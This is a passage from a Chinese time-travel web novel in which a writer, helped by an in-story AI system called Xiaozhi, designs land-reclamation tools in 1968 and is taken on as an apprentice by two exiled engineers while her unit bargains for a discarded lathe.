她让小智扫描,帮她看一下有没有错别字,遣词造句是否有问题。 小智很快帮她将几处笔误标识出来。 等她改完,小智突然第一次主动提醒。 【小智:宿主要不要我对这篇文章进行独特性,文笔和创意方面的综合点评?】 林晚霜有点心动,突然,她警觉起来。这几个词怎么这么耳熟?好像是某个绿色小网站作者后台的功能。 她曾经听人讨论过,叫什么单机鼓励师。 额……这个讨论的结果是,信它你就完了。 “你的主动性很好,但这样的主动还是算了吧,”她收拾纸笔,“我还没有沦落到需要一个非人类来鼓励的程度。” 小智的知识库还是用来查询资料吧,决策,出主意,这些都不适合它。 技术的更新迭代应该是帮助人们减少冗余的机械工作同时将知识更完整的传递下去。而非从事创造性工作,甚至妄图代替人类做决策。 所以她会使用小智的功能却也会避免自己去找它问策。 或许是察觉到了她的想法,小智沉默下来,不再主动发言。 初稿写完,她也不急着润色。她简单地收拾了下,看时间还早,准备去陆沉舟和陆星野上工的地方看看。 深秋的午后,戈壁滩的天空蓝的惊人。 没有云,太阳直剌剌地悬着。 风是干的,带着带着咸涩的土腥气,一阵阵刮过。 走了几步林晚霜便感觉热,她看了眼,发现此时的实时温度是27℃,这样温度在T市还只属于夏天。 沿路看到的人都脱了棉衣帽子,甚至还有的干脆打着赤膊。 一路过来,路过运输泥巴和石头的地方,她看到杜枝花和曹小莲磨磨唧唧地抬着一个箩筐,一脸的生无可恋。 在往前,看到陆星野和七八个孩子正拿着小小木铲和旧镰刀头,背着小柳条筐,正在边走边说话。 在往前,她看到身边有个男人唾沫横飞地指着曹小军骂,而他低着头用铁锹将地上堆积的硬土疙瘩砸碎,然后铲起来往筐里倒。 在往前,便看到有人拉着爬犁在已经挖过一遍,却仍旧看起来没有多少变化的灰白土地上来回行走着。 最后,她停住了脚步,看到了陆沉舟。 他和一群汉子站在盐碱地上,像是正在开疆辟土的士兵。 他们身前,是灰白龟裂如同劣质水泥一般的盐碱地。 他们身后,是被挖起堆成小土堆的泥巴块。 在这一块挥汗如雨不是个形容词,而是名词。 他们的单衣无数次被汗水浸透,又无数次被戈壁的风吹干。衣服上留下一圈圈白色的汗渍。 “哐!” 他们铁镐抡圆了砸下去,声音闷哑,不像挖土,倒像砸在石头上。 镐尖只在灰白的硬壳上留下一个白点,震得人虎口发麻。 “这地,真他娘的比石头还硬!”一个黑红脸膛的汉子啐了一口唾沫,唾沫落在土上几乎瞬间就被吸干了。 旁边的人没接话,只是咬着牙,一镐一镐地朝着前方砸过去。 林晚霜发现自己还是太低估了这个年代的人。 他们吃着勉强裹腹的食物,却在做着后世用重工程器械才能做的事。 “小智,盐碱地可以用挖掘机开垦吗?这个年代有没有挖掘机?”她突然很想做些什么。 【小智:宿主,盐碱地可以使用重型挖掘机开垦。1968年有挖掘机,但这个国家暂时只有1立方米的中小型器械,它们属于重要装备。只能用于国防工程。而且因为太过耗油和技术受限,导致维修成本极高。】 林晚霜明白了,然而她不想放弃:“小智,结合我现在所处地区的技术情况,为我推荐可以改良用于开垦盐碱地的机械。” 【小智:宿主,以为你搜索知识库,结合你的要求,建议你使用“东方红-75”或“东方红-54”履带式拖拉机进行改装。具体方案如下……】 正在她认真学习新知识的时候,陆沉舟走了过来:“你怎么来了?” 思维被打断,她抬起头想说话,却发现他身上的棉布背心上有一圈圈汗干了后留下的白渍。 “你的水里有放盐吗?”她当即皱了眉头,流了真么多汗,人如果不及时补充盐,可能会脱水的。 “开荒队拿的都是盐开水,”他解释了一句,却仍旧执着于问她,“你怎么来这里了?” 她将今天的事说了一遍,又提到刚刚的想法:“我想着人拉爬犁太累了,如果用机器会省心。” “问题是在油上,”他认真地给她解释,“汽油和柴油都是重要战略物资。我们这里并不是最难的地方,所以可以靠人力,就不能靠机械。” 这句话对林晚霜来说是当头一棍,她突然意识到自己还是21世纪人的思维模式,总觉得可以让机器解决的问题,就不该浪费人工。 却忽略了,虽然人很重要,但在这个一穷二白,勒紧裤腰带加油干的年代。有太多稀缺的东西都比人命珍贵。 “是我太天真了,”她喃喃道,“我只是希望大家别这么累。” “狩猎队我会报名,会多弄些猎物回来给营地,”他突然说,“你可以想想怎么用人力把你说的破壳犁,搅拌滚筒和深齿耙。” 她听了这话下意识要说那得多费力啊,还不如拖拉机来带。可又突然想起,他们没办法用拖拉机。 正在这时候,一个老农打扮的赤膊男人走了过来:“林作家来了?这是怎么了?小两口吵架了?” 来人正是王光明。 他是开荒队的队长。刚刚陆沉舟过来也是跟他打了招呼的。 他是觉得陆沉舟磨蹭时间有点长这才过来看看,没想到一过来就看到林晚霜满脸都写着不开心。 林晚霜这才发现他,实在是他今天的打扮太不显眼了。 怕他误会,她赶紧把刚刚的事说了一遍。末了又说:“我是突然觉得,大家都太难了。” “就这?”王光明爽朗地大笑起来,“这再难能有我们当年爬雪山过草地难?那时候头顶的飞机动不动就要下个蛋,吃也没得吃,渴了饿了抓雪啃。死不可怕,可怕的是谁也不知道我们会不会赢。” “现在的日子和当年比,简直赛神仙!”他笑完又正色道,“上级说我们这代人多吃点苦,把地给垦出来,我们苦完后代就不会挨饿了,老子没后代,但是老子以后死了还得投胎回来。” 他说着,突然声音又低了下去:“封建王朝千百年都没人想着治理一下这沙子盐碱地,就冲这,老子觉得咱们就是牛。现在和当年一样,没人怕累,只怕不知道会不会成功。林作家,你是文化人,你说咱们能成吗?” 44. 第 44 章 他的话不算华丽,甚至说着说着还带上口音。 可是没人会笑。 林晚霜的泪水在眼眶里打转:“能成啊!王排长,咱们这以后会是瓜果之乡,塞上江南。” 王光明咂摸着这句话,好一会儿摇头道:“听不太懂,但觉得怪带劲儿的,总之就是您觉得肯定能成对吧。” “肯定能成!”她点头,非常坚定,“后世的人不会忘记你们。” “是我们,”王光明笑着指出她的口误,“好了,就为你这句话,我得全力支持你把那个什么齿耙,滚筒和犁头做出来。” “您不怕我是纸上谈兵?”她不禁问道,“毕竟我根本没有这方面的经验。” 王光明大手一挥:“谁有经验了?咱们都是摸着石头过河的。纸上谈兵咋了?你就莽起头干就完了,要啥材料你和小褚小张商量,总之不成,我给你兜底!等成了,我给你请功!” 林晚霜看了眼小智发给她的设计图。理论和图纸都没问题,唯一的问题是,她没啥动手能力。 说到动手能力,她倒是立刻想到了离开T市前收的徒弟严敏容。 小少年仅仅是看了两遍书就把拖拉机修好了,这动手能力绝对不弱。 只是他身体不好,也不知道等货列到了T市,他是不是已经从京都医院回来了。 林晚霜不知道的是,严敏容此刻正在常大夫家。 * T市常家。 “你的病好治,主要是治好了后要好好养,之前底子太差了。年轻人要爱惜自己的身体才是。”常得有把完脉一脸严肃地看着面前瘦弱的少年。 严松没听懂,但严敏容心下却十分佩服,明白面前这位医生仅凭把脉就知道他之前故意绝食的事。 只是,他有新的问题。 “常大夫,我现在的情况可以去边疆吗?” * 边疆,开荒队。 听了王光明的话,林晚霜坚定了决心:“好,我会用不上工的时间,把这三个器械尽快做出来。” “这事不急,林作家不是还要写什么稿子吗?”王光明笑着说,他对自己人向来非常宽容。 “我过来本来是要说这个,”林晚霜从衣兜里掏出折叠好的纸张,“这是初稿,两位有时间帮我看看吗?” 王光明不识字,陆沉舟自然地拿过纸张,展开,看了她一眼,念了起来:“《去边疆,去祖国最需要的地方》……王排长用镐头砸了一下灰白的盐碱地,他说:“同志们看好了,这就是咱们要让它长粮的地方。”……我们这一代人,注定要成为根。像骆驼刺一样扎进最贫瘠土地。” 文章不长,一千来字,是《人民日报》普遍的篇幅长度。 王光明吸着鼻子擦眼泪:“写挺好的,就是我没说那话。林作家是不是写错人了。” 林晚霜摇头;“没写错,不过就在刚刚您说的话让我深有感触,我想改一下。把您说的那句话加上去。” 英雄之所以能成为英雄,并不是他们先知。和所有普通人一样他们自己在做很多事的时候,也会怀疑,也会疑惑。 但和普通人不一样的事,他们在知道这件事是对的后,就义无反顾的去做了。 她觉得,这才是最打动人的地方。 王光明听的一头雾水:“我刚刚有说什么话吗?” 怎么就启发到林作家了? 算了,文人都奇奇怪怪的,他搞不懂。 还是继续开荒去。 于是他招呼了一声:“小陆啊,你跟你媳妇儿聊着,我去翻翻地。” 然后他就走了,走了一半路才想起自己过来是为了啥,于是又转身喊:“小陆啊,要不有话你们晚上去被窝里说?现在先跟我去翻地行吧?” 这一嗓子吼的开荒队所有人都看过来了。 林晚霜自然是不好意思再待下去,她慌忙和陆沉舟告别:“那个你先忙,我去看看我选的石头能不能搬了。” 她说完压根不等人回应,遮着脸仓惶离去。 陆沉舟看着她跑得飞快,还没反应过来。却听王光明又喊:“小陆啊,快来帮忙。” 他这才转身回到盐碱地里。 林晚霜跑了十几分钟,直到再也看不到开荒队,这才缓了脚步。 路过砸盐碱土的地方,曹小军正跟之前指着他骂的男人扭打在一起。 正在巡逻的士兵吹着铁哨叫他们赶紧分开。 林晚霜没多看继续走,快回到营地时,她看到曹大军抱着孩子在运输组那边对着杜枝花和曹小莲指指戳戳。 一直走到灶房那边,她才看到陆星野,他一脸严肃地用小称戳子称着分拣好的野菜,不时拿笔记着什么,身边围着一起挖野菜的孩子正巴巴地看着他。 灶房门口这块地不小,打饭排队,临时开会都在这里。 此时他们拉回来的风棱石也在这里。 两个老人带着一个中年人,正在石头上用木炭画着线。 林晚霜还没走过去,储一恒就看到她了:“林同志,你的石头我等下工了让人给送过去。现在实在没人手了。” 她理解的点了点头:“不急。不过今天砾石滩的情况你们也看到了。风棱石大的大,小的小,如果想全营地的人都用上石头床,只怕有些困难。” “有些事就是这样,勇敢者先享受生活,”储一恒也很无奈,“不过,李排长已经让人继续去找砾石滩了。希望尽量能让大家都用上石头床吧。” 两人有一搭没一搭又乱聊了些其他的。 “你说曹大军抱着孩子去运输组那边了?”储一恒脸色复杂,“现在外面还刮着风,这个曹大军……唉,曹家人都很奇葩。” 林晚霜也是心有余悸,不过她说这些八卦可不是为了好玩:“我现在真害怕他们让大家觉得我们下放人员都不太行。” “这不能够!”储一恒立刻急了,他现在可是对陆家知根知底。就凭陆家这两辈人出了四个当兵的。这事儿他都不能视若无睹。 他仔仔细细想了想:“现在曹家和你们隔了两排地窝子。等闲是扯不上关系了。不过,你家左右都空着……有了。” 他猛地拍手,语气带着轻松地笑意:“我去找曹家现在的邻居说一下,叫他们平时注意点这家人。要是看到曹家人去你们那边就告诉巡逻队。” 林晚霜其实不过是想借着储一恒的嘴让所有人都明白他们和曹家没有任何关系,甚至还看不惯。 如今没想到竟还有这样的收获,尽管她并不觉得曹家人会去找他们。但储一恒这份用心她还是非常感动。当下便好好谢过了他。 眼瞅着离下工还有会儿,两人又接着聊她写的文章。 储一恒是通信兵,对文字方面也比较擅长,又在这里呆了两年,倒真的给她提出不少好建议。 就在两人的闲聊中,一个大师傅拿着面铜锣走出灶房,开始往工地上一路走一路吆喝。 日子就在铜锣声中一天天过去。 十天后,下午。 林晚霜看着面前碎成了n块的木头模型,陷入新一轮的绝望。 “又失败了!”她明白自己动手能力差,可没想到居然能差成这样。 就连个木头模型都做不好,这实物要是真的弄过来,她敢上手吗? “林作家,林作家,”张子枫敲响了地窝子的门,“你在吗?” “门没闩,你直接进。”她赶紧喊了一声。 张子枫推门进来,就看她坐在地上,几块散落的木头小件就摊在用来做凳子的石头上。 泥土垒的小灶上铁锅里水沸腾出白烟。 衣服做的帘子把地窝子隔成了两半,一半是鲜活的,一半是安静的。 “林作家是会享受的,”他收回目光,看向林晚霜手中的木头,“这是又失败了?” “组装好一用力就散了,”林晚霜叹气,“我觉得可能还是齿轮磨合有问题。” “你这木头也太小了,可能换实物就能成。”张子枫说起来意,“市里机械厂要淘汰一批老旧机器。小褚一听说这事儿昨晚连夜就往回奔。这会儿刚醒就去找排长了。排长让我和你赶紧去连部借车。” 他掏出盖好章的介绍信:“就一台机器,大家都盯着呢,排里把能给的钱票都给我了,咱们得赶紧走,顺便看看在连部能不能打点秋风。” 这事儿的确是个大事,林晚霜不敢迟疑。扯了张纸匆匆写清楚事由,用木块压在石头凳子上。 又把灶上的水装了一壶,火用浮灰盖了。拿了个空饭盒,跟着张子枫匆匆走了。 “咱没干粮,加快点走今天直接去市里头吃个晚饭。”张子枫也只带了水和饭盒。 林晚霜一路走,一路就把机械厂的事理清楚了。 机械厂淘汰的机器是个老式皮带车床。是当初毛熊援建的器械。 但因为皮带断了多次,车床的其他毛病也非常严重。 这次特意请了京都来的技术员维修,结果因为缺乏某些零件,这台车床被判定无法再投入生产。 “就这也是大家抢着要的好东西,”张子枫喝了口水,抬起手挡着眼睛看了看日头,“那么多铁呢,谁都想抢。钢铁厂,自行车厂,农具厂……就连咱们连部也要抢。” “连部也要抢?”林晚霜很是诧异,“咱们也有厂?” 张子枫摇头:“军区有,但是这信儿大概没传过去,大家捂得紧。小褚是正好在赵连长那里,听了一耳朵,赶紧回来报信了。” 听到是赵连长那里泄的信息,她心里头稍安:就赵铁柱那个人精,她要做机械的事怎么可能瞒得住?连部那边八成早把秋风备好了,就等着他们去打呢。 “赵连长这个人精的,黏上毛都能当猴了,他出手我们八成是抢不过。”张子枫泄了气,“算了,咱们重在参与。” 林晚霜也没把自己心里的猜测说出来,她换了个话题:“我的稿子现在应该已经寄到报社了吧。” 张子枫闻言心头的郁闷散了不少:“咱们走的是部队的加急邮件,算时间,三天前应该就到了。这回林作家的文章一刊登,咱们102排就要出名了。您是不知道,连部那些人看了您的文章,差点得了红眼病,硬是要上级把你们家调到连部下面的农场去。” 林晚霜可没他心态好,两辈子第一次做这种事,她不慌是不可能的。 即使是来自未来,又仔细揣摩了大量《人民日报》和《人民文学》的优秀文章。 可每期留给纪实文学的篇幅就那么一个豆腐块,她可不认为自己就能比这个时代的优秀作者强。 此刻听到张子枫语气笃定的认为文章肯定会刊登,她只能尴尬一下,催促着继续赶路。 又走了约莫半小时,连部到了。 连部的地盘比他们102排大了三倍不止。老远就能听到劳动号子。 执勤的士兵站在牌楼下,检查了他们打介绍信:“赶紧去连部指挥处吧,连长已经等你们很久了。” 张子枫立刻抬起头,眼中闪过惊讶之色。 等跟着赵铁柱的警卫员往连部指挥处走时,张子枫才低声和林晚霜说:“完了完了,笑面虎这是要提前解决我们。” 林晚霜听的好笑,她低声回了句:“或许情况没那么糟糕。” 张子枫不信,他觉得女同志看问题不够敏锐,太过理想化。 虽然102排和其他想要竞争车床的对手相比的确没什么竞争力,但他要誓死捍卫102排的尊严!绝不许没竞争就被敌人解决了! 到了连部指挥处,警卫员上前敲门。 “进来进来!”赵铁柱爽朗的声音响起。 “林作家,您记住了,咱们排长是真爽朗,连长可是笑里藏刀,人特别精。待会儿我说话,您尽量别开口,以免中了他的圈套。”张子枫小声叮嘱道。 “好,我听你的。”林晚霜忍笑点头。 张子枫深吸口气,跟在警卫员身后走进房间。 “哎呀,你们可终于来了!”伏案在桌的赵铁柱看到他们立刻合上文件,起身大踏步地走过来。 “小褚这孩子昨晚从连部跑了,我就知道他肯定会让你们紧着过来。怎么还耽误了一上午时间?”赵铁柱热情地迎着他们往里走。 “小褚走夜路摔了一跤,被巡逻的人发现抬回去了。到下午才醒。”张子枫赶紧解释。 “快坐下喝点热水。”赵铁柱让他们坐在椅子上,自己也拖了把椅子坐了过去。 “人没事吧?我本来想今天上午开车带他一起去102排找王光明说这事的。结果他提前跑了,我以为你们上午会来,怕错过就没走。” 张子枫才不信他的话,但嘴上却是一个劲地“谢谢领导关心”。 见这两人客套个没完没了,林晚霜忍不住了。 她真怕再拖下去,那车床被人捷足先登。 “赵连长,我们102排想要自己吃下车床难度太高了,连部是不是得给些支持?” 张子枫错愕抬头,拼命对她眨着眼睛,示意她别说了。 赵铁柱转过头看着她:“给你们提供支持,连部能获得什么好处?” 林晚霜从衣兜里掏出一张纸,展开递到他面前。 这张纸一看就是被反复折叠了多次,皱皱巴巴。上面画着几副图,不算工整,但很简洁。图上还详细标注了尺寸,材料。 “这是冲击式破壳犁的图纸,”林晚霜介绍道,“赵连长可以拿去给懂技术的人看看。” 赵铁柱毫不迟疑,立刻递给身旁的警卫员:“把这个拿给李工和赵工看看,评判一下可行性。” 等警卫员离开,他才看着林晚霜笑:“林作家不厚道啊,有这种好东西不交给连部。” “这不是怕没成果,平白拿过来给连部惹麻烦嘛。” “这种大事,他王光明能给你兜底?”赵铁柱边说边做手势,显得非常豪迈,“兜底得我来,不成了算我的,成了我给你向上级请功。你就放心大胆地去搞!” 张子枫惊讶地看向赵铁柱,不明白事情怎么会发展成这样。 林晚霜倒是不意外,她趁机和赵铁柱谈了自己动手能力不足的事:“所以我还是希望更多人能参与进来,这事靠我自己,我怕会浪费材料。” 赵铁柱没直接回应,而是开始问她一家人在102排的生活情况。 她明白,这是技术人员那边还没给出结论。别看他刚刚大包大揽说要和王排长一样给她兜底。 但其实他和王排长是两个不同的人。 正如张子枫所言,王排长是真的豪爽,赵连长的豪爽只是表象。 两人各自揣着明白装糊涂,聊的非常开心。张子枫也不是傻子,很快加入进来不时为林晚霜的故事做些补充。 就这样又过了半个多小时,警卫员带着两个老农打扮的中年男人过来。 “连长,李工和赵工看完图纸后坚持要跟过来说是想拜会画出这个设计图的人,当面请教几个问题。”警卫员对着赵铁柱汇报道。 赵铁柱眼中精光一闪,他看向林晚霜给她引荐道:“这是原京都机械厂总工程师李安民先生,这是原沪市汽车厂设计师赵华先生。两位先生和你们家一样是下放人员。现在农场工作。” 林晚霜明白这是真正的大佬,这样的人才要不是在这里,恐怕她这一辈子都不会有结识的机会。 她立刻上前像个小学生一样乖乖问好。 “你就是这个破壳犁的设计者?”李安民审视着她,“简直胡闹!画的设计图稚嫩我也就不说了,只是有的地方明明精妙的如同大师,有的地方却又像小孩天马行空的涂鸦。” 赵华在一旁补充:“如果不是我和老李之前从未见过这样的设计,我们都要怀疑你是抄袭了别人的设计又狗尾续貂了自己的。” 林晚霜内心惊叹不已:果然是大佬,她这图可不就是抄袭了一半小智提供的联接拖拉机机械,又加了自己琢磨出来改手动的原创组合成的。 不过原来她一直失败是因为原创的这部分本身就有问题吗? 但是没办法,机械改手动小智觉得太低端。它只能提供前沿的科技知识,这种低端的它没办法提供。 不然她真的不会强迫自己去研究瞎搞。 唉!看来自己果然是个工科废材。 林晚霜快速认清事实,决定把麻烦转手。 “两位先生,实在抱歉我没有系统的学习过机械知识。本来是想把破壳犁联接到拖拉机上,可是咱们这地方用拖拉机不现实,所以就改手动了,实不相瞒,我自己已经用木块做了四五次实验。都没成功,看来我实在不是这块料。” 她图穷匕见:“如果先生们觉得这个构思可行,能不能请先生们把它修改成可以制作的图纸。我替开荒队感谢先生们的大义。” 她认真说完深鞠一躬。抬头去看两位先生,突然感觉有些不妙。 两位先生此刻眼睛好像在冒绿光? 林晚霜正怀疑自己是不是眼睛出了问题,就感觉肩上一沉。 “你没系统的学习过机械知识?”赵华一手拍在她肩头,脸上带着狼外婆的微笑,“愿不愿意拜我为师?” 纳尼?这是什么情况? 林晚霜懵了。 突然她另一边肩膀也被人拍上。 “这是我先看中的徒弟,跟你能学出个什么?”李安民不甘示弱,同赵华争辩起来。 “你做技术是没得说,但是你带过学生吗?”赵华冷笑,“这么好的苗子给你是糟蹋了。” 李安民不理会他,直接看向林晚霜:“你说,你选我还是选他?” “你这是强权压迫孩子!”赵华立刻叫道,“你这样逼迫,让她怎么选?” 两人立刻又开始新一轮争辩,各自论述自己 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“两位先生,其实我是一个作家!”她不得不提高声音,“我是真的理科很烂!” “胡闹!”两人异口同声对准她开喷。 “好端端地去当什么作家?那是浪费你的天赋!”李安民语重心长。 “写作哪有画设计图有趣?”赵华义愤填膺,“我现在明白你为什么一半画的好,一半很马虎了。因为你在肆意挥霍自己的天赋!” “其实出设计图的不是我。”林晚霜快哭了,她真的是理科废材,工科门外汉,她真的不想学。 “那是谁?”所有人,包括张子枫异口同声问道。 “我的一个朋友,它叫小智。”林晚霜决定甩锅,“先生们说像大师的部分就是它做的。” “可是咱们营地识字的就那么几个,里面没有叫小智的啊。”张子枫喃喃道。 赵华认定她是为了逃避学习而撒谎:“即使你那个朋友这么厉害,为什么不让它画完?” 李安民也连连摇头:“年轻人可能灵感爆发,画出了一部分。后面的因为知识储备不足,只能草草了事。” 这就是他和赵华对林晚霜的统一看法。他们不忍心看到这样好的苗子因为知识不足而泯然众人。 所以他们才争相要做她的老师,教她系统的知识。 此时所有压力都给到了林晚霜。 赵铁柱清了清嗓子,他觉得出于为林晚霜好的角度,他必须说话了:“林作家,您可能不知道,赵工和李工都是从国外回来的高精人才。他们在国外就是顶尖大学和研究院的高级讲师,杏林满天下绝不是一个形容词。” “现在毛熊,嘤国,美利坚等多个国家的工程人才都和他们有交情。回国后,多少人挤破头想获得他们的指点都没成功。” “他们被下放的消息传开,各大军区都抢破了头,还是咱们军长到处托关系找人情才分到咱们这儿。虽然是下放人员,但和您一样,也只用上半天工。您现在有机会被赵工和李工抢着收徒,这传出去得羡慕死多少人?有些事过了这村可就没这店了。” 赵铁军的话说的林晚霜心头沉重,她难道不知道这是多大的机缘吗?她难道不想攀上这庞大的关系网吗?她难道是那种高风亮节不求名利的人吗? 她拒绝只是因为她怕两位先生看到她的真实能力后被气死啊! 她如果有严敏容的能力,哪怕只是一半,她现在就能表演个纳头就拜。 可她真的是个渣渣啊! 小智虽然没给她提供直接机械改手动的图纸,但它开放了所有数据库让她查。 然后她看了几十篇论文看的头晕脑胀,勉强搞出来的东西刚刚被两位先生说是小孩涂鸦之作。 “先生我是真不行,但我有个徒弟,绝对是机械制造方面的天才。” 想到这里,她决定把严敏容推出去。 “他才17岁,自己看了两遍《工业基础知识》就把T市机械厂技术员修不好的拖拉机修好了。先生们不妨考虑收他?” 李安民和赵华突然对视一眼,林晚霜心生不妙。 “国家的未来是在你们年轻人手里,”赵华叹息,“老李,这个徒弟我们平分了吧。” 啥?林晚霜目瞪口呆,他们要平分了什么? “也只能如此了,”李安民也叹了口气,“没想到我第一次正式收徒居然是要和别人平分。” “这话说的,好像我不是第一次收徒一样。”赵华也很不爽,“但是小林值得。” 他们一起转头看向林晚霜,目含期待。 “恭喜你啊,”赵铁柱赶紧提醒她,“我现在就给师团部打电话报告李工和赵工唯一的徒弟要用车床改良机械,我们会全力支持你的项目。” 林晚霜茫然,她这就拜师了? 没有一点点考验?没有一点点艰难?也没有反派跳出来强制和她pk? 甚至她本人还迷糊着的时候,两个大佬“砰”一声砸她头上,成了她的师父。 这说出去谁特么敢信啊? “这个师,我是非拜不可吗?”她企图再挣扎一下,“我是真的真的很废。” 然而没人信她。 “放心,我和老赵会先给你摸底,然后为你量身定制学习计划。” 一个小时后。 吉普车上,林晚霜坐在后排中间位置瑟瑟发抖,两位先生一边一个眉头皱的死紧。 赵铁柱开着车和副驾驶座上的张子枫大气都不敢出一下。 “基础的数学知识都有问题,”李安民声音不大,却听的人心惊肉跳,“你初中是怎么毕业的?” “老师,”林晚霜弱弱声辩,“我初中只读了一学期。” 是的,原主就读了一学期,她自己上辈子也只是勉强混了个初中毕业,高中辍学。 车内气氛肉眼可见地松了下来。 “这就难怪了,”赵华摇头,看她眼神多了几分温度,“你是被耽误了的好苗子啊。” 真不是……她想哭。 “小赵,你那边能不能把我徒弟的关系调到连部来?”李安民突然开口。 赵铁柱沉默了一下,如果单纯只是林晚霜,他肯定毫不犹豫地同意了。 但林晚霜身后还有个陆沉舟,他虽然不知道组织上是怎么想的,但102排临近禁区。很可能陆家去102排并不是偶然。 “林作家,哦,小林同志的家人还在102排,而且他们才报道不足半月,所以……”赵铁柱斟酌着开口,“不过连部和102排相隔不是很远。” 两位先生活到这年纪,也不是纯粹的书呆子。 赵华立刻说:“小林,今天咱们办了事,晚上就住我家,我让你师母张罗饭菜。家里还有两个孩子也认识下。” 李安民立刻接上:“明天去我家住,你师母虽然不会烧菜,但她擅长作画,你跟她好好学习下怎么运笔。” “数学方面的知识我整理下明天给你带回去,可惜了好多书都没带过来,在沪上就被烧了。”赵华说着有些情绪失落。 “除了数学,物理方面的知识也要补。”李安民立刻补充。 这一路剩下的时间,干脆变成了两个先生的轮流教学。 张子枫和赵铁柱听的昏昏欲睡,只能疯狂揪自己的大腿提神。 林晚霜也是努力撑着眼皮,感受着知识从大脑穿过不留一丝痕迹的感觉。 “杠杆的核心公式是什么?”赵华眼见她开始走神,立刻提高声音发问。 虽然知识从大脑穿过没留下痕迹,但她唯恐辜负大佬的教导,所以一直开着作弊器记录。 此刻听到提问浑身一颤,学渣的本能让她立刻夹紧双腿,正襟危坐,下意识念出记录上的文字:“动力×动力臂=阻力×阻力臂。” 赵华内心十分满意,但依旧严肃着脸敲打她:“你不够专心,如果再专心一点,你未来的成就不可限量。” 林晚霜内心哀叹:我未来会有什么成就?坑蒙拐骗的成就吗?老师求您快点放弃我吧! 李安民见赵华问了问题,立刻不甘示弱:“小林,简述一下传动的几种方式。” 差生林晚霜头皮一紧,条件反射开始念答案:“基本的传动方式有三种,齿轮,皮带/链条和连杆机构。它们的原理分别是……” 李安民听的连连点头:“这是二十分钟前我讲的内容,看来你已经完全吃透了。果然是天纵奇才。看来我这次来边疆,倒是因祸得福。” 死嘴!你不争气啊!林晚霜欲哭无泪,完了,这骨子里对老师恐惧让她根本来不及反应和伪装。 她是个狗屁天纵奇才? 误会太大了! 怎么办?谁来救救她? 45. 第 45 章 林晚霜现在真的是骑虎难下了。 这个天才的名头简直扣死在她身上,扯都扯不下来。 之后再被提问时,她刻意忽略了小智的记录,努力用自己的记忆回答。收获了两枚遗憾的表情。 “看来是我们太心急了,”李安民抬手揉了揉太阳穴,“小林听到现在,累了记不住也情有可原。” 赵华也叹气:“是我们急着想快速把基本的知识框架给你搭起来,忽略了人的接受程度是有限的。这样,小林,你回去先按我们整理的知识好好自学,有问题就问。” 林晚霜内心暴风哭泣:大佬,这就是我的真实水平啊。我真不行。求求你们放过我吧,知识从脑子里滑过但是根本留不住一点的感觉是真的很痛苦啊。 然而,李安民的下一句话却紧紧攫住她的心。 “我们国家太稀缺人才了,现在到处又搞这个割委活动,真不敢想多少人才会像小林因此被耽误。可惜我这几年身体也不好了,辛苦带回国的书籍资料又毁于浩劫。” “以前在国外只想尽可能充实自己,”赵华接口道,“回来百废待兴,忙于俗事,根本没办法静心传授知识。如果因我让这些知识断代,那我岂不是要成为国之罪人。” 林晚霜心头中箭无数。她知道这俩大佬多半是以为她故意不配合学习,所以拿话激她。 而偏偏她,被激到了。 好吧,她的确是渣渣,是差生。她根本不相信自己能学会,能学好,能真的成为技术人才。 但是她有作弊器,就算学不成顶尖人才,至少也能做个承上启下的人吧。 再不济,她多学,多问,以后把这些知识全盘传递出去也算不负两位大佬的心血了。 想到这里,她咬了咬牙,抬头苦涩的笑:“师傅,我休息好了。请继续教我吧。” 李安民和赵华对视一笑,轻咳了一声:“那你把我刚刚问的螺旋原理再说一遍。” 她认命,看小智为她做的学习笔记,念:“螺旋是斜面的变形,主要功能是将旋转运动转换……” 于是接下来的路程就在学习和提问中度过。 到达市里已经是晚上7点,几人先找国营饭店随便吃了口饭搪塞下肚子。然后立刻去了机械厂厂长家。 厂长郑□□正在家里看电视,突然听到门响,他没起身,反正有他媳妇儿开门。 然而,门一开,他撇头一看,立刻站了起来笑着迎上去:“哎呀,赵连长可是稀客。怎么过来我家了?” “郑厂长,我来是为了你厂里那台废旧车床,”赵铁柱开门见山道,“我不管有多少人想要,我已经和师团部打过电话了,明天给你补条子。今晚我定下来,明天就让人去拉。” 郑□□猜到他也是为这事来的,但目前想要这车床的人太多,个个来头都不小,他也非常为难。 “这是原京都机械厂的总设计师李安民,这是原沪市汽车厂的赵华工程师,”赵铁柱看出他的为难,也不多说,直接介绍人,“你要是答应,我们现在就去你的厂子,帮你把机器检修一遍。” “李工!”郑□□眼睛一下子就亮了,“李工,是我,小郑啊!60年我去京都机械厂学习,听了您的课深感触动。那时候我还是个普通的技术工人。” 李安民对此毫无印象,他见过的人太多了,不够特别的压根记不住。 “李工,我当时还拦着您问了几个问题,其中一个是车床传动系统优化。我们厂里的这批皮带传动的车床还是您帮忙牵线才拿下来的!” 郑□□激动地颤抖,正是这批车床让他后来有了足够的政治资本坐上厂长的位置。 赵铁柱敏锐地察觉到李安民还是没想起来郑□□这个人,立刻上前插话:“老郑,既然有这样的渊源,这台旧车床理应给我们对吧。” 郑□□犹豫了一下,眼神在李安民身上来回打量:“话虽如此,但我也难啊。汽车厂,自行车厂,钢铁厂,农具厂每个都追的很紧。农具厂还出动了副市长帮忙说话。我是哪个都得罪不起啊。” 赵铁柱立刻明白,这是要他加筹码了。 林晚霜也明白,这事她得出面了。否则搞不好她的两个老师要为此付出大量的劳动代价。 “郑厂长,既然有那么多人都在抢,那您是准备把车床给谁呢?” 见她突然说话,郑□□看了眼赵铁柱:“这位同志是?” 赵铁柱眼神一闪,想起自己和林晚霜过招几次可没吃到多少便宜。当即笑着引荐:“这是李工和赵工的高徒小林同志。” 一句话听的郑□□眼皮直跳:赵工他的确不熟,但能和李工同时被提起,想必也是个技术大佬。被李工和赵工抢着收的徒弟? 这些年想要给李工当徒弟的人了不少,就连他也削尖了脑袋试过。 可人一句,天赋不够,收了浪费彼此时间,就全给拒了。 现在李工居然抢着要收徒,还和赵工共收一个徒弟。他们这徒弟得多有才华,多有天赋啊! 年纪轻轻竟恐怖如斯! 他当即对林晚霜多了几分重视,却听赵铁柱继续道:“同时,小林同志还是杰出的青年作家,她的文章多次刊登在报刊上,此次来到边疆不足7天,就为《人民日报》写了一篇优秀的文学作品。” 郑□□吓了一跳,文理双修!文理都顶尖!这人还是人嘛? 跟她一比他这把年纪全活狗肚子身上了。 他立刻弯腰伸出双手:“林作家好,林作家真是钟灵毓秀,不同凡响。林作家可有婚配了?犬子今年22岁,是……” “咳咳,”赵铁柱赶紧打断他的自吹自擂,“林作家,哦,小林同志已婚了。” 郑□□不免露出遗憾之色,他赶紧看了眼妻子:“快去给赵连长,李工,赵工,林作家还有这位小同志倒茶来。” 